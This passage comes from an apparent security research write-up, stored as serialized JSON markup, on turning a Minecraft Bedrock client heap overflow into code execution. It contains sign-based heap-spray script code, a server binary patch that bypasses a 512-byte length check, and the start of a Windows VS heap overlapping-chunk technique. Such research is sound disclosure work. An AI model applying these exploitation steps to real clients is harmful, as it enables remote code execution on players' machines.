[",{"type":21,"tag":198,"props":151394,"children":151395},{"style":683},[151396],{"type":27,"value":10402},{"type":21,"tag":198,"props":151398,"children":151399},{"style":211},[151400],{"type":27,"value":12582},{"type":21,"tag":198,"props":151402,"children":151403},{"class":200,"line":386},[151404],{"type":21,"tag":198,"props":151405,"children":151406},{"style":211},[151407],{"type":27,"value":151408}," \n",{"type":21,"tag":198,"props":151410,"children":151411},{"class":200,"line":408},[151412,151417,151422,151426],{"type":21,"tag":198,"props":151413,"children":151414},{"style":249},[151415],{"type":27,"value":151416}," const",{"type":21,"tag":198,"props":151418,"children":151419},{"style":226},[151420],{"type":27,"value":151421}," sign_block",{"type":21,"tag":198,"props":151423,"children":151424},{"style":683},[151425],{"type":27,"value":979},{"type":21,"tag":198,"props":151427,"children":151428},{"style":226},[151429],{"type":27,"value":151430}," world\n",{"type":21,"tag":198,"props":151432,"children":151433},{"class":200,"line":429},[151434,151439,151444,151448,151453],{"type":21,"tag":198,"props":151435,"children":151436},{"style":211},[151437],{"type":27,"value":151438}," .",{"type":21,"tag":198,"props":151440,"children":151441},{"style":698},[151442],{"type":27,"value":151443},"getDimension",{"type":21,"tag":198,"props":151445,"children":151446},{"style":211},[151447],{"type":27,"value":706},{"type":21,"tag":198,"props":151449,"children":151450},{"style":205},[151451],{"type":27,"value":151452},"\"overworld\"",{"type":21,"tag":198,"props":151454,"children":151455},{"style":211},[151456],{"type":27,"value":789},{"type":21,"tag":198,"props":151458,"children":151459},{"class":200,"line":450},[151460,151464,151469,151473,151478],{"type":21,"tag":198,"props":151461,"children":151462},{"style":211},[151463],{"type":27,"value":151438},{"type":21,"tag":198,"props":151465,"children":151466},{"style":698},[151467],{"type":27,"value":151468},"getBlock",{"type":21,"tag":198,"props":151470,"children":151471},{"style":211},[151472],{"type":27,"value":706},{"type":21,"tag":198,"props":151474,"children":151475},{"style":226},[151476],{"type":27,"value":151477},"sign_location",{"type":21,"tag":198,"props":151479,"children":151480},{"style":211},[151481],{"type":27,"value":1470},{"type":21,"tag":198,"props":151483,"children":151484},{"class":200,"line":468},[151485,151490,151494,151498],{"type":21,"tag":198,"props":151486,"children":151487},{"style":226},[151488],{"type":27,"value":151489}," sign_block",{"type":21,"tag":198,"props":151491,"children":151492},{"style":211},[151493],{"type":27,"value":658},{"type":21,"tag":198,"props":151495,"children":151496},{"style":698},[151497],{"type":27,"value":151096},{"type":21,"tag":198,"props":151499,"children":151500},{"style":211},[151501],{"type":27,"value":4268},{"type":21,"tag":198,"props":151503,"children":151504},{"class":200,"line":477},[151505,151510,151514,151518,151522,151527],{"type":21,"tag":198,"props":151506,"children":151507},{"style":226},[151508],{"type":27,"value":151509}," BlockPermutation",{"type":21,"tag":198,"props":151511,"children":151512},{"style":211},[151513],{"type":27,"value":658},{"type":21,"tag":198,"props":151515,"children":151516},{"style":698},[151517],{"type":27,"value":151117},{"type":21,"tag":198,"props":151519,"children":151520},{"style":211},[151521],{"type":27,"value":706},{"type":21,"tag":198,"props":151523,"children":151524},{"style":205},[151525],{"type":27,"value":151526},"\"minecraft:wall_sign\"",{"type":21,"tag":198,"props":151528,"children":151529},{"style":211},[151530],{"type":27,"value":1983},{"type":21,"tag":198,"props":151532,"children":151533},{"class":200,"line":494},[151534,151539],{"type":21,"tag":198,"props":151535,"children":151536},{"style":226},[151537],{"type":27,"value":151538}," facing_direction:",{"type":21,"tag":198,"props":151540,"children":151541},{"style":2540},[151542],{"type":27,"value":20121},{"type":21,"tag":198,"props":151544,"children":151545},{"class":200,"line":515},[151546],{"type":21,"tag":198,"props":151547,"children":151548},{"style":211},[151549],{"type":27,"value":71451},{"type":21,"tag":198,"props":151551,"children":151552},{"class":200,"line":4484},[151553],{"type":21,"tag":198,"props":151554,"children":151555},{"style":211},[151556],{"type":27,"value":151557}," ));\n",{"type":21,"tag":198,"props":151559,"children":151560},{"class":200,"line":4493},[151561,151566,151571,151575],{"type":21,"tag":198,"props":151562,"children":151563},{"style":249},[151564],{"type":27,"value":151565}," let",{"type":21,"tag":198,"props":151567,"children":151568},{"style":226},[151569],{"type":27,"value":151570}," sign_component",{"type":21,"tag":198,"props":151572,"children":151573},{"style":683},[151574],{"type":27,"value":979},{"type":21,"tag":198,"props":151576,"children":151577},{"style":226},[151578],{"type":27,"value":151579}," sign_block\n",{"type":21,"tag":198,"props":151581,"children":151582},{"class":200,"line":4561},[151583,151587,151592,151596,151601,151605,151610],{"type":21,"tag":198,"props":151584,"children":151585},{"style":211},[151586],{"type":27,"value":151438},{"type":21,"tag":198,"props":151588,"children":151589},{"style":698},[151590],{"type":27,"value":151591},"getComponent",{"type":21,"tag":198,"props":151593,"children":151594},{"style":211},[151595],{"type":27,"value":706},{"type":21,"tag":198,"props":151597,"children":151598},{"style":226},[151599],{"type":27,"value":151600},"BlockComponentTypes",{"type":21,"tag":198,"props":151602,"children":151603},{"style":211},[151604],{"type":27,"value":658},{"type":21,"tag":198,"props":151606,"children":151607},{"style":226},[151608],{"type":27,"value":151609},"Sign",{"type":21,"tag":198,"props":151611,"children":151612},{"style":211},[151613],{"type":27,"value":1470},{"type":21,"tag":198,"props":151615,"children":151616},{"class":200,"line":4569},[151617],{"type":21,"tag":198,"props":151618,"children":151619},{"emptyLinePlaceholder":16},[151620],{"type":27,"value":1283},{"type":21,"tag":198,"props":151622,"children":151623},{"class":200,"line":4599},[151624,151629,151633,151637],{"type":21,"tag":198,"props":151625,"children":151626},{"style":226},[151627],{"type":27,"value":151628}," signs",{"type":21,"tag":198,"props":151630,"children":151631},{"style":211},[151632],{"type":27,"value":658},{"type":21,"tag":198,"props":151634,"children":151635},{"style":698},[151636],{"type":27,"value":4622},{"type":21,"tag":198,"props":151638,"children":151639},{"style":211},[151640],{"type":27,"value":15945},{"type":21,"tag":198,"props":151642,"children":151643},{"class":200,"line":4607},[151644,151649,151653],{"type":21,"tag":198,"props":151645,"children":151646},{"style":226},[151647],{"type":27,"value":151648}," sign:",{"type":21,"tag":198,"props":151650,"children":151651},{"style":226},[151652],{"type":27,"value":151570},{"type":21,"tag":198,"props":151654,"children":151655},{"style":211},[151656],{"type":27,"value":257},{"type":21,"tag":198,"props":151658,"children":151659},{"class":200,"line":4638},[151660,151665,151669],{"type":21,"tag":198,"props":151661,"children":151662},{"style":226},[151663],{"type":27,"value":151664}," allocated:",{"type":21,"tag":198,"props":151666,"children":151667},{"style":249},[151668],{"type":27,"value":9868},{"type":21,"tag":198,"props":151670,"children":151671},{"style":211},[151672],{"type":27,"value":257},{"type":21,"tag":198,"props":151674,"children":151675},{"class":200,"line":4646},[151676,151681,151685],{"type":21,"tag":198,"props":151677,"children":151678},{"style":226},[151679],{"type":27,"value":151680}," block:",{"type":21,"tag":198,"props":151682,"children":151683},{"style":226},[151684],{"type":27,"value":151421},{"type":21,"tag":198,"props":151686,"children":151687},{"style":211},[151688],{"type":27,"value":257},{"type":21,"tag":198,"props":151690,"children":151691},{"class":200,"line":4706},[151692,151697],{"type":21,"tag":198,"props":151693,"children":151694},{"style":226},[151695],{"type":27,"value":151696}," removed:",{"type":21,"tag":198,"props":151698,"children":151699},{"style":249},[151700],{"type":27,"value":13120},{"type":21,"tag":198,"props":151702,"children":151703},{"class":200,"line":9857},[151704],{"type":21,"tag":198,"props":151705,"children":151706},{"style":211},[151707],{"type":27,"value":151708}," });\n",{"type":21,"tag":198,"props":151710,"children":151711},{"class":200,"line":9875},[151712],{"type":21,"tag":198,"props":151713,"children":151714},{"style":211},[151715],{"type":27,"value":1160},{"type":21,"tag":198,"props":151717,"children":151718},{"class":200,"line":9920},[151719],{"type":21,"tag":198,"props":151720,"children":151721},{"style":211},[151722],{"type":27,"value":880},{"type":21,"tag":198,"props":151724,"children":151725},{"class":200,"line":10026},[151726],{"type":21,"tag":198,"props":151727,"children":151728},{"style":211},[151729],{"type":27,"value":1120},{"type":21,"tag":198,"props":151731,"children":151732},{"class":200,"line":24302},[151733],{"type":21,"tag":198,"props":151734,"children":151735},{"emptyLinePlaceholder":16},[151736],{"type":27,"value":1283},{"type":21,"tag":198,"props":151738,"children":151739},{"class":200,"line":24337},[151740,151744,151749],{"type":21,"tag":198,"props":151741,"children":151742},{"style":249},[151743],{"type":27,"value":892},{"type":21,"tag":198,"props":151745,"children":151746},{"style":698},[151747],{"type":27,"value":151748}," remove_wall",{"type":21,"tag":198,"props":151750,"children":151751},{"style":211},[151752],{"type":27,"value":16539},{"type":21,"tag":198,"props":151754,"children":151755},{"class":200,"line":24345},[151756,151760,151764],{"type":21,"tag":198,"props":151757,"children":151758},{"style":226},[151759],{"type":27,"value":151237},{"type":21,"tag":198,"props":151761,"children":151762},{"style":683},[151763],{"type":27,"value":979},{"type":21,"tag":198,"props":151765,"children":151766},{"style":211},[151767],{"type":27,"value":151246},{"type":21,"tag":198,"props":151769,"children":151770},{"class":200,"line":24353},[151771],{"type":21,"tag":198,"props":151772,"children":151773},{"style":211},[151774],{"type":27,"value":62164},{"type":21,"tag":198,"props":151776,"children":151777},{"class":200,"line":24362},[151778,151782,151786,151790,151794,151798,151802,151806,151810,151814,151818,151822,151826,151830],{"type":21,"tag":198,"props":151779,"children":151780},{"style":640},[151781],{"type":27,"value":3840},{"type":21,"tag":198,"props":151783,"children":151784},{"style":211},[151785],{"type":27,"value":648},{"type":21,"tag":198,"props":151787,"children":151788},{"style":249},[151789],{"type":27,"value":12597},{"type":21,"tag":198,"props":151791,"children":151792},{"style":226},[151793],{"type":27,"value":151273},{"type":21,"tag":198,"props":151795,"children":151796},{"style":683},[151797],{"type":27,"value":979},{"type":21,"tag":198,"props":151799,"children":151800},{"style":2540},[151801],{"type":27,"value":3855},{"type":21,"tag":198,"props":151803,"children":151804},{"style":211},[151805],{"type":27,"value":18028},{"type":21,"tag":198,"props":151807,"children":151808},{"style":226},[151809],{"type":27,"value":151290},{"type":21,"tag":198,"props":151811,"children":151812},{"style":683},[151813],{"type":27,"value":9529},{"type":21,"tag":198,"props":151815,"children":151816},{"style":226},[151817],{"type":27,"value":151299},{"type":21,"tag":198,"props":151819,"children":151820},{"style":211},[151821],{"type":27,"value":18028},{"type":21,"tag":198,"props":151823,"children":151824},{"style":226},[151825],{"type":27,"value":151290},{"type":21,"tag":198,"props":151827,"children":151828},{"style":683},[151829],{"type":27,"value":51645},{"type":21,"tag":198,"props":151831,"children":151832},{"style":211},[151833],{"type":27,"value":668},{"type":21,"tag":198,"props":151835,"children":151836},{"class":200,"line":24404},[151837,151841,151845,151849,151853,151857,151861,151865,151869,151873,151877,151881,151885,151889],{"type":21,"tag":198,"props":151838,"children":151839},{"style":640},[151840],{"type":27,"value":60954},{"type":21,"tag":198,"props":151842,"children":151843},{"style":211},[151844],{"type":27,"value":648},{"type":21,"tag":198,"props":151846,"children":151847},{"style":249},[151848],{"type":27,"value":12597},{"type":21,"tag":198,"props":151850,"children":151851},{"style":226},[151852],{"type":27,"value":151335},{"type":21,"tag":198,"props":151854,"children":151855},{"style":683},[151856],{"type":27,"value":979},{"type":21,"tag":198,"props":151858,"children":151859},{"style":2540},[151860],{"type":27,"value":3855},{"type":21,"tag":198,"props":151862,"children":151863},{"style":211},[151864],{"type":27,"value":18028},{"type":21,"tag":198,"props":151866,"children":151867},{"style":226},[151868],{"type":27,"value":151352},{"type":21,"tag":198,"props":151870,"children":151871},{"style":683},[151872],{"type":27,"value":9529},{"type":21,"tag":198,"props":151874,"children":151875},{"style":226},[151876],{"type":27,"value":151361},{"type":21,"tag":198,"props":151878,"children":151879},{"style":211},[151880],{"type":27,"value":18028},{"type":21,"tag":198,"props":151882,"children":151883},{"style":226},[151884],{"type":27,"value":151352},{"type":21,"tag":198,"props":151886,"children":151887},{"style":683},[151888],{"type":27,"value":51645},{"type":21,"tag":198,"props":151890,"children":151891},{"style":211},[151892],{"type":27,"value":668},{"type":21,"tag":198,"props":151894,"children":151895},{"class":200,"line":24437},[151896],{"type":21,"tag":198,"props":151897,"children":151898},{"style":211},[151899],{"type":27,"value":151408},{"type":21,"tag":198,"props":151901,"children":151902},{"class":200,"line":24445},[151903,151907,151911],{"type":21,"tag":198,"props":151904,"children":151905},{"style":211},[151906],{"type":27,"value":151392},{"type":21,"tag":198,"props":151908,"children":151909},{"style":683},[151910],{"type":27,"value":10402},{"type":21,"tag":198,"props":151912,"children":151913},{"style":211},[151914],{"type":27,"value":12582},{"type":21,"tag":198,"props":151916,"children":151917},{"class":200,"line":24453},[151918],{"type":21,"tag":198,"props":151919,"children":151920},{"style":211},[151921],{"type":27,"value":151922}," \n",{"type":21,"tag":198,"props":151924,"children":151925},{"class":200,"line":24462},[151926,151930,151934,151938,151942,151947],{"type":21,"tag":198,"props":151927,"children":151928},{"style":249},[151929],{"type":27,"value":151416},{"type":21,"tag":198,"props":151931,"children":151932},{"style":226},[151933],{"type":27,"value":151421},{"type":21,"tag":198,"props":151935,"children":151936},{"style":683},[151937],{"type":27,"value":979},{"type":21,"tag":198,"props":151939,"children":151940},{"style":640},[151941],{"type":27,"value":36983},{"type":21,"tag":198,"props":151943,"children":151944},{"style":698},[151945],{"type":27,"value":151946}," wait_for_block",{"type":21,"tag":198,"props":151948,"children":151949},{"style":211},[151950],{"type":27,"value":4268},{"type":21,"tag":198,"props":151952,"children":151953},{"class":200,"line":24538},[151954,151959,151963,151967,151971,151975],{"type":21,"tag":198,"props":151955,"children":151956},{"style":226},[151957],{"type":27,"value":151958}," world",{"type":21,"tag":198,"props":151960,"children":151961},{"style":211},[151962],{"type":27,"value":658},{"type":21,"tag":198,"props":151964,"children":151965},{"style":698},[151966],{"type":27,"value":151443},{"type":21,"tag":198,"props":151968,"children":151969},{"style":211},[151970],{"type":27,"value":706},{"type":21,"tag":198,"props":151972,"children":151973},{"style":205},[151974],{"type":27,"value":151452},{"type":21,"tag":198,"props":151976,"children":151977},{"style":211},[151978],{"type":27,"value":7548},{"type":21,"tag":198,"props":151980,"children":151981},{"class":200,"line":24571},[151982],{"type":21,"tag":198,"props":151983,"children":151984},{"style":226},[151985],{"type":27,"value":151986}," sign_location\n",{"type":21,"tag":198,"props":151988,"children":151989},{"class":200,"line":24579},[151990],{"type":21,"tag":198,"props":151991,"children":151992},{"style":211},[151993],{"type":27,"value":125496},{"type":21,"tag":198,"props":151995,"children":151996},{"class":200,"line":24587},[151997,152001,152005,152009],{"type":21,"tag":198,"props":151998,"children":151999},{"style":226},[152000],{"type":27,"value":151489},{"type":21,"tag":198,"props":152002,"children":152003},{"style":211},[152004],{"type":27,"value":658},{"type":21,"tag":198,"props":152006,"children":152007},{"style":698},[152008],{"type":27,"value":151096},{"type":21,"tag":198,"props":152010,"children":152011},{"style":211},[152012],{"type":27,"value":4268},{"type":21,"tag":198,"props":152014,"children":152015},{"class":200,"line":24624},[152016,152020,152024,152028,152032,152036],{"type":21,"tag":198,"props":152017,"children":152018},{"style":226},[152019],{"type":27,"value":151509},{"type":21,"tag":198,"props":152021,"children":152022},{"style":211},[152023],{"type":27,"value":658},{"type":21,"tag":198,"props":152025,"children":152026},{"style":698},[152027],{"type":27,"value":151117},{"type":21,"tag":198,"props":152029,"children":152030},{"style":211},[152031],{"type":27,"value":706},{"type":21,"tag":198,"props":152033,"children":152034},{"style":205},[152035],{"type":27,"value":151126},{"type":21,"tag":198,"props":152037,"children":152038},{"style":211},[152039],{"type":27,"value":789},{"type":21,"tag":198,"props":152041,"children":152042},{"class":200,"line":24637},[152043],{"type":21,"tag":198,"props":152044,"children":152045},{"style":211},[152046],{"type":27,"value":125496},{"type":21,"tag":198,"props":152048,"children":152049},{"class":200,"line":24650},[152050],{"type":21,"tag":198,"props":152051,"children":152052},{"emptyLinePlaceholder":16},[152053],{"type":27,"value":1283},{"type":21,"tag":198,"props":152055,"children":152056},{"class":200,"line":24663},[152057,152061,152065],{"type":21,"tag":198,"props":152058,"children":152059},{"style":211},[152060],{"type":27,"value":151392},{"type":21,"tag":198,"props":152062,"children":152063},{"style":683},[152064],{"type":27,"value":10402},{"type":21,"tag":198,"props":152066,"children":152067},{"style":211},[152068],{"type":27,"value":12582},{"type":21,"tag":198,"props":152070,"children":152071},{"class":200,"line":24717},[152072],{"type":21,"tag":198,"props":152073,"children":152074},{"style":211},[152075],{"type":27,"value":1160},{"type":21,"tag":198,"props":152077,"children":152078},{"class":200,"line":24726},[152079],{"type":21,"tag":198,"props":152080,"children":152081},{"style":211},[152082],{"type":27,"value":880},{"type":21,"tag":198,"props":152084,"children":152085},{"class":200,"line":33067},[152086],{"type":21,"tag":198,"props":152087,"children":152088},{"style":211},[152089],{"type":27,"value":1120},{"type":21,"tag":198,"props":152091,"children":152092},{"class":200,"line":33088},[152093],{"type":21,"tag":198,"props":152094,"children":152095},{"emptyLinePlaceholder":16},[152096],{"type":27,"value":1283},{"type":21,"tag":198,"props":152098,"children":152099},{"class":200,"line":81333},[152100,152105,152109,152114,152118,152123,152127,152132,152136,152141,152145,152149],{"type":21,"tag":198,"props":152101,"children":152102},{"style":226},[152103],{"type":27,"value":152104},"world",{"type":21,"tag":198,"props":152106,"children":152107},{"style":211},[152108],{"type":27,"value":658},{"type":21,"tag":198,"props":152110,"children":152111},{"style":226},[152112],{"type":27,"value":152113},"afterEvents",{"type":21,"tag":198,"props":152115,"children":152116},{"style":211},[152117],{"type":27,"value":658},{"type":21,"tag":198,"props":152119,"children":152120},{"style":226},[152121],{"type":27,"value":152122},"playerSpawn",{"type":21,"tag":198,"props":152124,"children":152125},{"style":211},[152126],{"type":27,"value":658},{"type":21,"tag":198,"props":152128,"children":152129},{"style":698},[152130],{"type":27,"value":152131},"subscribe",{"type":21,"tag":198,"props":152133,"children":152134},{"style":211},[152135],{"type":27,"value":32310},{"type":21,"tag":198,"props":152137,"children":152138},{"style":226},[152139],{"type":27,"value":152140},"arg",{"type":21,"tag":198,"props":152142,"children":152143},{"style":211},[152144],{"type":27,"value":1541},{"type":21,"tag":198,"props":152146,"children":152147},{"style":249},[152148],{"type":27,"value":15626},{"type":21,"tag":198,"props":152150,"children":152151},{"style":211},[152152],{"type":27,"value":233},{"type":21,"tag":198,"props":152154,"children":152155},{"class":200,"line":81346},[152156,152161],{"type":21,"tag":198,"props":152157,"children":152158},{"style":698},[152159],{"type":27,"value":152160}," create_wall",{"type":21,"tag":198,"props":152162,"children":152163},{"style":211},[152164],{"type":27,"value":3404},{"type":21,"tag":198,"props":152166,"children":152167},{"class":200,"line":81354},[152168],{"type":21,"tag":198,"props":152169,"children":152170},{"style":211},[152171],{"type":27,"value":2257},{"type":21,"tag":198,"props":152173,"children":152174},{"class":200,"line":81362},[152175],{"type":21,"tag":198,"props":152176,"children":152177},{"emptyLinePlaceholder":16},[152178],{"type":27,"value":1283},{"type":21,"tag":198,"props":152180,"children":152181},{"class":200,"line":81370},[152182,152186,152190,152195,152199,152204,152208,152212,152216,152220,152224,152228,152232,152236],{"type":21,"tag":198,"props":152183,"children":152184},{"style":226},[152185],{"type":27,"value":152104},{"type":21,"tag":198,"props":152187,"children":152188},{"style":211},[152189],{"type":27,"value":658},{"type":21,"tag":198,"props":152191,"children":152192},{"style":226},[152193],{"type":27,"value":152194},"beforeEvents",{"type":21,"tag":198,"props":152196,"children":152197},{"style":211},[152198],{"type":27,"value":658},{"type":21,"tag":198,"props":152200,"children":152201},{"style":226},[152202],{"type":27,"value":152203},"playerLeave",{"type":21,"tag":198,"props":152205,"children":152206},{"style":211},[152207],{"type":27,"value":658},{"type":21,"tag":198,"props":152209,"children":152210},{"style":698},[152211],{"type":27,"value":152131},{"type":21,"tag":198,"props":152213,"children":152214},{"style":211},[152215],{"type":27,"value":706},{"type":21,"tag":198,"props":152217,"children":152218},{"style":249},[152219],{"type":27,"value":36919},{"type":21,"tag":198,"props":152221,"children":152222},{"style":211},[152223],{"type":27,"value":648},{"type":21,"tag":198,"props":152225,"children":152226},{"style":226},[152227],{"type":27,"value":152140},{"type":21,"tag":198,"props":152229,"children":152230},{"style":211},[152231],{"type":27,"value":1541},{"type":21,"tag":198,"props":152233,"children":152234},{"style":249},[152235],{"type":27,"value":15626},{"type":21,"tag":198,"props":152237,"children":152238},{"style":211},[152239],{"type":27,"value":233},{"type":21,"tag":198,"props":152241,"children":152242},{"class":200,"line":81410},[152243,152248],{"type":21,"tag":198,"props":152244,"children":152245},{"style":698},[152246],{"type":27,"value":152247}," remove_wall",{"type":21,"tag":198,"props":152249,"children":152250},{"style":211},[152251],{"type":27,"value":3404},{"type":21,"tag":198,"props":152253,"children":152254},{"class":200,"line":81418},[152255],{"type":21,"tag":198,"props":152256,"children":152257},{"style":211},[152258],{"type":27,"value":2257},{"type":21,"tag":30,"props":152260,"children":152261},{},[152262],{"type":27,"value":152263},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":21,"tag":30,"props":152265,"children":152266},{},[152267],{"type":21,"tag":1376,"props":152268,"children":152271},{"alt":152269,"src":152270},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":21,"tag":30,"props":152273,"children":152274},{},[152275],{"type":27,"value":152276},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":21,"tag":162,"props":152278,"children":152280},{"id":152279},"a-small-roadblock",[152281],{"type":27,"value":152282},"A Small Roadblock",{"type":21,"tag":30,"props":152284,"children":152285},{},[152286],{"type":27,"value":152287},"While testing our heap spray method, we encountered the following error:",{"type":21,"tag":187,"props":152289,"children":152291},{"code":152290},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n at alloc (index.js:169)\n",[152292],{"type":21,"tag":194,"props":152293,"children":152294},{"__ignoreMap":7},[152295],{"type":27,"value":152290},{"type":21,"tag":30,"props":152297,"children":152298},{},[152299,152301,152307],{"type":27,"value":152300},"An error is thrown by the server executable while trying to assign text longer than ",{"type":21,"tag":194,"props":152302,"children":152304},{"className":152303},[],[152305],{"type":27,"value":152306},"512",{"type":27,"value":152308}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":21,"tag":30,"props":152310,"children":152311},{},[152312],{"type":27,"value":152313},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":21,"tag":30,"props":152315,"children":152316},{},[152317],{"type":27,"value":152318},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":21,"tag":30,"props":152320,"children":152321},{},[152322],{"type":21,"tag":1376,"props":152323,"children":152325},{"alt":50954,"src":152324},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":21,"tag":30,"props":152327,"children":152328},{},[152329,152331,152337],{"type":27,"value":152330},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":21,"tag":194,"props":152332,"children":152334},{"className":152333},[],[152335],{"type":27,"value":152336},"string_length \u003C= 512",{"type":27,"value":152338}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":21,"tag":30,"props":152340,"children":152341},{},[152342],{"type":27,"value":152343},"The disassembly of the comparison looks like this:",{"type":21,"tag":30,"props":152345,"children":152346},{},[152347],{"type":21,"tag":1376,"props":152348,"children":152350},{"alt":50954,"src":152349},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":21,"tag":30,"props":152352,"children":152353},{},[152354,152356,152361,152363,152368,152369,152374,152376,152382,152384,152390,152392,152397,152399,152404],{"type":27,"value":152355},"The code compares ",{"type":21,"tag":194,"props":152357,"children":152359},{"className":152358},[],[152360],{"type":27,"value":57151},{"type":27,"value":152362}," (the string length) to ",{"type":21,"tag":194,"props":152364,"children":152366},{"className":152365},[],[152367],{"type":27,"value":128196},{"type":27,"value":648},{"type":21,"tag":194,"props":152370,"children":152372},{"className":152371},[],[152373],{"type":27,"value":152306},{"type":27,"value":152375}," decimal). It then performs a ",{"type":21,"tag":194,"props":152377,"children":152379},{"className":152378},[],[152380],{"type":27,"value":152381},"jbe",{"type":27,"value":152383},", jumping to address ",{"type":21,"tag":194,"props":152385,"children":152387},{"className":152386},[],[152388],{"type":27,"value":152389},"0x14275114c",{"type":27,"value":152391}," if ",{"type":21,"tag":194,"props":152393,"children":152395},{"className":152394},[],[152396],{"type":27,"value":57151},{"type":27,"value":152398}," is less than or equal to ",{"type":21,"tag":194,"props":152400,"children":152402},{"className":152401},[],[152403],{"type":27,"value":152306},{"type":27,"value":152405},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":21,"tag":30,"props":152407,"children":152408},{},[152409,152411,152416,152418,152424],{"type":27,"value":152410},"To force execution down this path, we patched the ",{"type":21,"tag":194,"props":152412,"children":152414},{"className":152413},[],[152415],{"type":27,"value":152381},{"type":27,"value":152417}," instruction to an unconditional ",{"type":21,"tag":194,"props":152419,"children":152421},{"className":152420},[],[152422],{"type":27,"value":152423},"jmp",{"type":27,"value":152425},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":21,"tag":30,"props":152427,"children":152428},{},[152429],{"type":21,"tag":1376,"props":152430,"children":152432},{"alt":50954,"src":152431},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":21,"tag":30,"props":152434,"children":152435},{},[152436,152438,152443,152445,152450],{"type":27,"value":152437},"After patching the server and calling ",{"type":21,"tag":194,"props":152439,"children":152441},{"className":152440},[],[152442],{"type":27,"value":150547},{"type":27,"value":152444}," with a size of ",{"type":21,"tag":194,"props":152446,"children":152448},{"className":152447},[],[152449],{"type":27,"value":58525},{"type":27,"value":152451},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":21,"tag":30,"props":152453,"children":152454},{},[152455],{"type":21,"tag":1376,"props":152456,"children":152458},{"alt":50954,"src":152457},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":21,"tag":19590,"props":152460,"children":152461},{},[],{"type":21,"tag":30,"props":152463,"children":152464},{},[152465],{"type":27,"value":152466},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":21,"tag":30,"props":152468,"children":152469},{},[152470],{"type":27,"value":152471},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":21,"tag":59,"props":152473,"children":152475},{"id":152474},"overlapping-heap-chunks",[152476],{"type":27,"value":152477},"Overlapping Heap Chunks",{"type":21,"tag":30,"props":152479,"children":152480},{},[152481,152483,152488],{"type":27,"value":152482},"The attack is described in detail in the referenced blog post (",{"type":21,"tag":34,"props":152484,"children":152486},{"href":150291,"rel":152485},[38],[152487],{"type":27,"value":625},{"type":27,"value":152489},"), so we will present a high-level overview.",{"type":21,"tag":30,"props":152491,"children":152492},{},[152493,152495,152501],{"type":27,"value":152494},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":21,"tag":194,"props":152496,"children":152498},{"className":152497},[],[152499],{"type":27,"value":152500},"_HEAP_VS_CHUNK_HEADER",{"type":27,"value":152502}," structure layout is required:",{"type":21,"tag":187,"props":152504,"children":152506},{"code":152505}," +---------------------------+ +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost |\n +---------------------------+ +---------------+\n+0x8 |EncodedSegmentPageOffset | +0x2 |UnsafeSize |\n +---------------------------+ +---------------+\n+0x8 |UnusedBytes | +0x4 |UnsafePrevSize |\n +---------------------------+ +---------------+\n | . . . | +0x6 |Allocated |\n +---------------+\n | . . . |\n",[152507],{"type":21,"tag":194,"props":152508,"children":152509},{"__ignoreMap":7},[152510],{"type":27,"value":152505},{"type":21,"tag":30,"props":152512,"children":152513},{},[152514,152516,152522,152524,152530,152531,152537,152538,152544,152546,152551,152553,152558,152560,152566,152568,152573,152575,152581],{"type":27,"value":152515},"At offset 0 there is a header ",{"type":21,"tag":194,"props":152517,"children":152519},{"className":152518},[],[152520],{"type":27,"value":152521},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":27,"value":152523}," containing fields such as ",{"type":21,"tag":194,"props":152525,"children":152527},{"className":152526},[],[152528],{"type":27,"value":152529},"MemoryCost",{"type":27,"value":828},{"type":21,"tag":194,"props":152532,"children":152534},{"className":152533},[],[152535],{"type":27,"value":152536},"UnsafeSize",{"type":27,"value":828},{"type":21,"tag":194,"props":152539,"children":152541},{"className":152540},[],[152542],{"type":27,"value":152543},"UnsafePrevSize",{"type":27,"value":152545},", etc. For the attack we only care about the ",{"type":21,"tag":194,"props":152547,"children":152549},{"className":152548},[],[152550],{"type":27,"value":152536},{"type":27,"value":152552}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":21,"tag":194,"props":152554,"children":152556},{"className":152555},[],[152557],{"type":27,"value":126819},{"type":27,"value":152559},", so for a chunk of size ",{"type":21,"tag":194,"props":152561,"children":152563},{"className":152562},[],[152564],{"type":27,"value":152565},"0x4010",{"type":27,"value":152567}," the value of ",{"type":21,"tag":194,"props":152569,"children":152571},{"className":152570},[],[152572],{"type":27,"value":152536},{"type":27,"value":152574}," would be ",{"type":21,"tag":194,"props":152576,"children":152578},{"className":152577},[],[152579],{"type":27,"value":152580},"0x401",{"type":27,"value":658},{"type":21,"tag":30,"props":152583,"children":152584},{},[152585,152586,152591],{"type":27,"value":64595},{"type":21,"tag":194,"props":152587,"children":152589},{"className":152588},[],[152590],{"type":27,"value":152536},{"type":27,"value":152592}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":21,"tag":30,"props":152594,"children":152595},{},[152596,152598,152603,152605,152610,152612,152618,152620,152625],{"type":27,"value":152597},"The 